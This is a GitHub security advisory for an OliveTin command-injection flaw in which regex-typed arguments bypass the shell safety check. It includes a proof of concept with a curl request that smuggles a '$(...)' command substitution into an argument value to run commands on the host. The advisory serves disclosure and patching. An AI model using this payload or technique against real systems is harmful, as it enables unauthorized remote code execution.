Skip to content

OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check

Moderate severity GitHub Reviewed Published Jul 8, 2026 in OliveTin/OliveTin • Updated Jul 30, 2026

Package

gomod github.com/OliveTin/OliveTin (Go)

Affected versions

>= 0.0.0-20251025234746-ef5a67e7b8ea, < 0.0.0-20260708084548-995ff79736f2

Patched versions

0.0.0-20260708084548-995ff79736f2

Description

Summary

OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go's text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable — for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution.

Details

OliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types.

Custom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is.

The argument value then reaches handleShellBranch → wrapCommandInShell, where Go's text/template interpolates it directly into the sh -c command string with no escaping.

Critically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|&<>]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) — is still fully exploitable via POSIX command substitution.

PoC

  1. Deploy OliveTin
docker run -d --name olivetin-poc -p 1337:1337 \
  -v /tmp/olivetin-poc/config:/config \
  ghcr.io/olivetin/olivetin:3000.11.3
  1. Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern.
actions:
  - title: Custom Input Action
    id: custom_input
    shell: echo "Input was {{ .Arguments.customInput }}"
    arguments:
      - name: customInput
        type: "regex:^[^;|&<>]+$"
        title: Custom Input
  1. Trigger RCE via command substitution.
curl -s -X POST http://localhost:1337/api/v1/StartAction \
  -H "Content-Type: application/json" \
  -d '{"bindingId":"custom_input","arguments":[{"name":"customInput","value":"$(touch /tmp/rce_proof)"}]}'
  1. Now verify RCE by checking presence of file
docker exec olivetin-poc ls -la /tmp/rce_proof

olivetin_proof

Impact

An unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution — as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.

References

@jamesread jamesread published to OliveTin/OliveTin Jul 8, 2026
Published by the National Vulnerability Database Jul 29, 2026
Published to the GitHub Advisory Database Jul 30, 2026
Reviewed Jul 30, 2026
Last updated Jul 30, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(59th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-67438

GHSA ID

GHSA-xc5w-4v5w-7x65

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.